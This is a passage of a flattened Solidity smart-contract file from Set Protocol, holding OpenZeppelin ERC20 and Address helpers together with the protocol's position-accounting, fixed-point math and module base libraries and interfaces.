_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Dependency file: contracts/interfaces/ISetValuer.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { ISetToken } from "../interfaces/ISetToken.sol"; interface ISetValuer { function calculateSetTokenValuation(ISetToken _setToken, address _quoteAsset) external view returns (uint256); } // Dependency file: contracts/interfaces/IPriceOracle.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; /** * @title IPriceOracle * @author Set Protocol * * Interface for interacting with PriceOracle */ interface IPriceOracle { /* ============ Functions ============ */ function getPrice(address _assetOne, address _assetTwo) external view returns (uint256); function masterQuoteAsset() external view returns (address); } // Dependency file: contracts/interfaces/IIntegrationRegistry.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; interface IIntegrationRegistry { function addIntegration(address _module, string memory _id, address _wrapper) external; function getIntegrationAdapter(address _module, string memory _id) external view returns(address); function getIntegrationAdapterWithHash(address _module, bytes32 _id) external view returns(address); function isValidIntegration(address _module, string memory _id) external view returns(bool); } // Dependency file: contracts/interfaces/IModule.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; /** * @title IModule * @author Set Protocol * * Interface for interacting with Modules. */ interface IModule { /** * Called by a SetToken to notify that this module was removed from the Set token. Any logic can be included * in case checks need to be made or state needs to be cleared. */ function removeModule() external; } // Dependency file: contracts/lib/ExplicitERC20.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; // import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title ExplicitERC20 * @author Set Protocol * * Utility functions for ERC20 transfers that require the explicit amount to be transferred. */ library ExplicitERC20 { using SafeMath for uint256; /** * When given allowance, transfers a token from the "_from" to the "_to" of quantity "_quantity". * Ensures that the recipient has received the correct quantity (ie no fees taken on transfer) * * @param _token ERC20 token to approve * @param _from The account to transfer tokens from * @param _to The account to transfer tokens to * @param _quantity The quantity to transfer */ function transferFrom( IERC20 _token, address _from, address _to, uint256 _quantity ) internal { // Call specified ERC20 contract to transfer tokens (via proxy). if (_quantity > 0) { uint256 existingBalance = _token.balanceOf(_to); SafeERC20.safeTransferFrom( _token, _from, _to, _quantity ); uint256 newBalance = _token.balanceOf(_to); // Verify transfer quantity is reflected in balance require( newBalance == existingBalance.add(_quantity), "Invalid post transfer balance" ); } } } // Dependency file: @openzeppelin/contracts/utils/Address.sol // pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [// importANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * // importANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Dependency file: @openzeppelin/contracts/GSN/Context.sol // pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Dependency file: contracts/protocol/lib/ResourceIdentifier.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { IController } from "../../interfaces/IController.sol"; // import { IIntegrationRegistry } from "../../interfaces/IIntegrationRegistry.sol"; // import { IPriceOracle } from "../../interfaces/IPriceOracle.sol"; // import { ISetValuer } from "../../interfaces/ISetValuer.sol"; /** * @title ResourceIdentifier * @author Set Protocol * * A collection of utility functions to fetch information related to Resource contracts in the system */ library ResourceIdentifier { // IntegrationRegistry will always be resource ID 0 in the system uint256 constant internal INTEGRATION_REGISTRY_RESOURCE_ID = 0; // PriceOracle will always be resource ID 1 in the system uint256 constant internal PRICE_ORACLE_RESOURCE_ID = 1; // SetValuer resource will always be resource ID 2 in the system uint256 constant internal SET_VALUER_RESOURCE_ID = 2; /* ============ Internal ============ */ /** * Gets the instance of integration registry stored on Controller. Note: IntegrationRegistry is stored as index 0 on * the Controller */ function getIntegrationRegistry(IController _controller) internal view returns (IIntegrationRegistry) { return IIntegrationRegistry(_controller.resourceId(INTEGRATION_REGISTRY_RESOURCE_ID)); } /** * Gets instance of price oracle on Controller. Note: PriceOracle is stored as index 1 on the Controller */ function getPriceOracle(IController _controller) internal view returns (IPriceOracle) { return IPriceOracle(_controller.resourceId(PRICE_ORACLE_RESOURCE_ID)); } /** * Gets the instance of Set valuer on Controller. Note: SetValuer is stored as index 2 on the Controller */ function getSetValuer(IController _controller) internal view returns (ISetValuer) { return ISetValuer(_controller.resourceId(SET_VALUER_RESOURCE_ID)); } } // Dependency file: contracts/lib/PreciseUnitMath.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // pragma experimental ABIEncoderV2; // import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; // import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; /** * @title PreciseUnitMath * @author Set Protocol * * Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from * dYdX's BaseMath library. * * CHANGELOG: * - 9/21/20: Added safePower function */ library PreciseUnitMath { using SafeMath for uint256; using SignedSafeMath for int256; // The number One in precise units. uint256 constant internal PRECISE_UNIT = 10 ** 18; int256 constant internal PRECISE_UNIT_INT = 10 ** 18; // Max unsigned integer value uint256 constant internal MAX_UINT_256 = type(uint256).max; // Max and min signed integer value int256 constant internal MAX_INT_256 = type(int256).max; int256 constant internal MIN_INT_256 = type(int256).min; /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnit() internal pure returns (uint256) { return PRECISE_UNIT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnitInt() internal pure returns (int256) { return PRECISE_UNIT_INT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxUint256() internal pure returns (uint256) { return MAX_UINT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxInt256() internal pure returns (int256) { return MAX_INT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function minInt256() internal pure returns (int256) { return MIN_INT_256; } /** * @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(b).div(PRECISE_UNIT); } /** * @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the * significand of a number with 18 decimals precision. */ function preciseMul(int256 a, int256 b) internal pure returns (int256) { return a.mul(b).div(PRECISE_UNIT_INT); } /** * @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } return a.mul(b).sub(1).div(PRECISE_UNIT).add(1); } /** * @dev Divides value a by value b (result is rounded down). */ function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(PRECISE_UNIT).div(b); } /** * @dev Divides value a by value b (result is rounded towards 0). */ function preciseDiv(int256 a, int256 b) internal pure returns (int256) { return a.mul(PRECISE_UNIT_INT).div(b); } /** * @dev Divides value a by value b (result is rounded up or away from 0). */ function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Cant divide by 0"); return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0; } /** * @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0). */ function divDown(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "Cant divide by 0"); require(a != MIN_INT_256 || b != -1, "Invalid input"); int256 result = a.div(b); if (a ^ b < 0 && a % b != 0) { result -= 1; } return result; } /** * @dev Multiplies value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(b), PRECISE_UNIT_INT); } /** * @dev Divides value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(PRECISE_UNIT_INT), b); } /** * @dev Performs the power on a specified value, reverts on overflow. */ function safePower( uint256 a, uint256 pow ) internal pure returns (uint256) { require(a > 0, "Value must be positive"); uint256 result = 1; for (uint256 i = 0; i < pow; i++){ uint256 previousResult = result; // Using safemath multiplication prevents overflows result = previousResult.mul(a); } return result; } } // Dependency file: contracts/protocol/lib/Position.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // pragma experimental "ABIEncoderV2"; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; // import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; // import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; // import { ISetToken } from "../../interfaces/ISetToken.sol"; // import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; /** * @title Position * @author Set Protocol * * Collection of helper functions for handling and updating SetToken Positions */ library Position { using SafeCast for uint256; using SafeMath for uint256; using SafeCast for int256; using SignedSafeMath for int256; using PreciseUnitMath for uint256; /* ============ Helper ============ */ /** * Returns whether the SetToken has a default position for a given component (if the real unit is > 0) */ function hasDefaultPosition(ISetToken _setToken, address _component) internal view returns(bool) { return _setToken.getDefaultPositionRealUnit(_component) > 0; } /** * Returns whether the SetToken has an external position for a given component (if # of position modules is > 0) */ function hasExternalPosition(ISetToken _setToken, address _component) internal view returns(bool) { return _setToken.getExternalPositionModules(_component).length > 0; } /** * Returns whether the SetToken component default position real unit is greater than or equal to units passed in. */ function hasSufficientDefaultUnits(ISetToken _setToken, address _component, uint256 _unit) internal view returns(bool) { return _setToken.getDefaultPositionRealUnit(_component) >= _unit.toInt256(); } /** * Returns whether the SetToken component external position is greater than or equal to the real units passed in. */ function hasSufficientExternalUnits( ISetToken _setToken, address _component, address _positionModule, uint256 _unit ) internal view returns(bool) { return _setToken.getExternalPositionRealUnit(_component, _positionModule) >= _unit.toInt256(); } /** * If the position does not exist, create a new Position and add to the SetToken. If it already exists, * then set the position units. If the new units is 0, remove the position. Handles adding/removing of * components where needed (in light of potential external positions). * * @param _setToken Address of SetToken being modified * @param _component Address of the component * @param _newUnit Quantity of Position units - must be >= 0 */ function editDefaultPosition(ISetToken _setToken, address _component, uint256 _newUnit) internal { bool isPositionFound = hasDefaultPosition(_setToken, _component); if (!isPositionFound && _newUnit > 0) { // If there is no Default Position and no External Modules, then component does not exist if (!hasExternalPosition(_setToken, _component)) { _setToken.addComponent(_component); } } else if (isPositionFound && _newUnit == 0) { // If there is a Default Position and no external positions, remove the component if (!hasExternalPosition(_setToken, _component)) { _setToken.removeComponent(_component); } } _setToken.editDefaultPositionUnit(_component, _newUnit.toInt256()); } /** * Update an external position and remove and external positions or components if necessary. The logic flows as follows: * 1) If component is not already added then add component and external position. * 2) If component is added but no existing external position using the passed module exists then add the external position. * 3) If the existing position is being added to then just update the unit * 4) If the position is being closed and no other external positions or default positions are associated with the component * then untrack the component and remove external position. * 5) If the position is being closed and other existing positions still exist for the component then just remove the * external position. * * @param _setToken SetToken being updated * @param _component Component position being updated * @param _module Module external position is associated with * @param _newUnit Position units of new external position * @param _data Arbitrary data associated with the position */ function editExternalPosition( ISetToken _setToken, address _component, address _module, int256 _newUnit, bytes memory _data ) internal { if (!_setToken.isComponent(_component)) { _setToken.addComponent(_component); addExternalPosition(_setToken, _component, _module, _newUnit, _data); } else if (!_setToken.isExternalPositionModule(_component, _module)) { addExternalPosition(_setToken, _component, _module, _newUnit, _data); } else if (_newUnit != 0) { _setToken.editExternalPositionUnit(_component, _module, _newUnit); } else { // If no default or external position remaining then remove component from components array if (_setToken.getDefaultPositionRealUnit(_component) == 0 && _setToken.getExternalPositionModules(_component).length == 1) { _setToken.removeComponent(_component); } _setToken.removeExternalPositionModule(_component, _module); } } /** * Add a new external position from a previously untracked module. * * @param _setToken SetToken being updated * @param _component Component position being updated * @param _module Module external position is associated with * @param _newUnit Position units of new external position * @param _data Arbitrary data associated with the position */ function addExternalPosition( ISetToken _setToken, address _component, address _module, int256 _newUnit, bytes memory _data ) internal { _setToken.addExternalPositionModule(_component, _module); _setToken.editExternalPositionUnit(_component, _module, _newUnit); _setToken.editExternalPositionData(_component, _module, _data); } /** * Get total notional amount of Default position * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _positionUnit Quantity of Position units * * @return Total notional amount of units */ function getDefaultTotalNotional(uint256 _setTokenSupply, uint256 _positionUnit) internal pure returns (uint256) { return _setTokenSupply.preciseMul(_positionUnit); } /** * Get position unit from total notional amount * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _totalNotional Total notional amount of component prior to * @return Default position unit */ function getDefaultPositionUnit(uint256 _setTokenSupply, uint256 _totalNotional) internal pure returns (uint256) { return _totalNotional.preciseDiv(_setTokenSupply); } /** * Get the total tracked balance - total supply * position unit * * @param _setToken Address of the SetToken * @param _component Address of the component * @return Notional tracked balance */ function getDefaultTrackedBalance(ISetToken _setToken, address _component) internal view returns(uint256) { int256 positionUnit = _setToken.getDefaultPositionRealUnit(_component); return _setToken.totalSupply().preciseMul(positionUnit.toUint256()); } /** * Calculates the new default position unit and performs the edit with the new unit * * @param _setToken Address of the SetToken * @param _component Address of the component * @param _setTotalSupply Current SetToken supply * @param _componentPreviousBalance Pre-action component balance * @return Current component balance * @return Previous position unit * @return New position unit */ function calculateAndEditDefaultPosition( ISetToken _setToken, address _component, uint256 _setTotalSupply, uint256 _componentPreviousBalance ) internal returns(uint256, uint256, uint256) { uint256 currentBalance = IERC20(_component).balanceOf(address(_setToken)); uint256 positionUnit = _setToken.getDefaultPositionRealUnit(_component).toUint256(); uint256 newTokenUnit = calculateDefaultEditPositionUnit( _setTotalSupply, _componentPreviousBalance, currentBalance, positionUnit ); editDefaultPosition(_setToken, _component, newTokenUnit); return (currentBalance, positionUnit, newTokenUnit); } /** * Calculate the new position unit given total notional values pre and post executing an action that changes SetToken state * The intention is to make updates to the units without accidentally picking up airdropped assets as well. * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _preTotalNotional Total notional amount of component prior to executing action * @param _postTotalNotional Total notional amount of component after the executing action * @param _prePositionUnit Position unit of SetToken prior to executing action * @return New position unit */ function calculateDefaultEditPositionUnit( uint256 _setTokenSupply, uint256 _preTotalNotional, uint256 _postTotalNotional, uint256 _prePositionUnit ) internal pure returns (uint256) { // If pre action total notional amount is greater then subtract post action total notional and calculate new position units if (_preTotalNotional >= _postTotalNotional) { uint256 unitsToSub = _preTotalNotional.sub(_postTotalNotional).preciseDivCeil(_setTokenSupply); return _prePositionUnit.sub(unitsToSub); } else { // Else subtract post action total notional from pre action total notional and calculate new position units uint256 unitsToAdd = _postTotalNotional.sub(_preTotalNotional).preciseDiv(_setTokenSupply); return _prePositionUnit.add(unitsToAdd); } } } // Dependency file: contracts/protocol/lib/ModuleBase.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { ExplicitERC20 } from "../../lib/ExplicitERC20.sol"; // import { IController } from "../../interfaces/IController.sol"; // import { IModule } from "../../interfaces/IModule.sol"; // import { ISetToken } from "../../interfaces/ISetToken.sol"; // import { Invoke } from "./Invoke.sol"; // import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; // import { ResourceIdentifier } from "./ResourceIdentifier.sol"; /** * @title ModuleBase * @author Set Protocol * * Abstract class that houses common Module-related state and functions. */ abstract contract ModuleBase is IModule { using PreciseUnitMath for uint256; using Invoke for ISetToken; using ResourceIdentifier for IController; /* ============ State Variables ============ */ // Address of the controller IController public controller; /* ============ Modifiers ============ */ modifier onlyManagerAndValidSet(ISetToken _setToken) { require(isSetManager(_setToken, msg.sender), "Must be the SetToken manager"); require(isSetValidAndInitialized(_setToken), "Must be a valid and initialized SetToken"); _; } modifier onlySetManager(ISetToken _setToken, address _caller) { require(isSetManager(_setToken, _caller), "Must be the SetToken manager"); _; } modifier onlyValidAndInitializedSet(ISetToken _setToken) { require(isSetValidAndInitialized(_setToken), "Must be a valid and initialized SetToken"); _; } /** * Throws if the sender is not a SetToken's module or module not enabled */ modifier onlyModule(ISetToken _setToken) { require( _setToken.moduleStates(msg.sender) == ISetToken.ModuleState.INITIALIZED, "Only the module can call" ); require( controller.isModule(msg.sender), "Module must be enabled on controller" ); _; } /** * Utilized during module initializations to check that the module is in pending state * and that the SetToken is valid */ modifier onlyValidAndPendingSet(ISetToken _setToken) { require(controller.isSet(address(_setToken)), "Must be controller-enabled SetToken"); require(isSetPendingInitialization(_setToken), "Must be pending initialization"); _; } /* ============ Constructor ============ */ /** * Set state variables and map asset pairs to their oracles * * @param _controller Address of controller contract */ constructor(IController _controller) public { controller = _controller; } /* ============ Internal Functions ============ */ /** * Transfers tokens from an address (that has set allowance on the module). * * @param _token The address of the ERC20 token * @param _from The address to transfer from * @param _to The address to transfer to * @param _quantity The number of tokens to transfer */ function transferFrom(IERC20 _token, address _from, address _to, uint256 _quantity) internal { ExplicitERC20.transferFrom(_token, _from, _to, _quantity); } /** * Gets the integration for the module with the passed in name. Validates that the address is not empty */ function getAndValidateAdapter(string memory _integrationName) internal view returns(address) { bytes32 integrationHash = getNameHash(_integrationName); return getAndValidateAdapterWithHash(integrationHash); } /** * Gets the integration for the module with the passed in hash. Validates that the address is not empty */ function getAndValidateAdapterWithHash(bytes32 _integrationHash) internal view returns(address) { address adapter = controller.getIntegrationRegistry().getIntegrationAdapterWithHash( address(this), _integrationHash ); require(adapter != address(0), "Must be valid adapter"); return adapter; } /** * Gets the total fee for this module of the passed in index (fee % * quantity) */ function getModuleFee(uint256 _feeIndex, uint256 _quantity) internal view returns(uint256) { uint256 feePercentage = controller.getModuleFee(address(this), _feeIndex); return _quantity.preciseMul(feePercentage); } /** * Pays the _feeQuantity from the _setToken denominated in _token to the protocol fee recipient */ function payProtocolFeeFromSetToken(ISetToken _setToken, address _token, uint256 _feeQuantity) internal { if (_feeQuantity > 0) { _setToken.strictInvokeTransfer(_token, controller.feeRecipient(), _feeQuantity); } } /** * Returns true if the module is in process of initialization on the SetToken */ function isSetPendingInitialization(ISetToken _setToken) internal view returns(bool) { return _setToken.isPendingModule(address(this)); } /** * Returns true if the address is the SetToken's manager */ function isSetManager(ISetToken _setToken, address _toCheck) internal view returns(bool) { return _setToken.manager() == _toCheck; } /** * Returns true if SetToken must be enabled on the controller * and module is registered on the SetToken */ function isSetValidAndInitialized(ISetToken _setToken) internal view returns(bool) { return controller.isSet(address(_setToken)) && _setToken.isInitializedModule(address(this)); } /** * Hashes the string and returns a bytes32 value */ function getNameHash(string memory _name) internal pure returns(bytes32) { return keccak256(bytes(_name)); } } // Dependency file: contracts/interfaces/external/IWETH.sol /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * // importANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // pragma solidity 0.6.10; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title IWETH * @author Set Protocol * * Interface for Wrapped Ether. This interface allows for interaction for wrapped ether's deposit and withdrawal * functionality. */ interface IWETH is IERC20{ function deposit() external payable; function withdraw( uint256 wad ) external; } // Dependency file: contracts/interfaces/ISetToken.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // pragma experimental "ABIEncoderV2"; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ISetToken * @author Set Protocol * * Interface for operating with SetTokens. */ interface ISetToken is IERC20 { /* ============ Enums ============ */ enum ModuleState { NONE, PENDING, INITIALIZED } /* ============ Structs 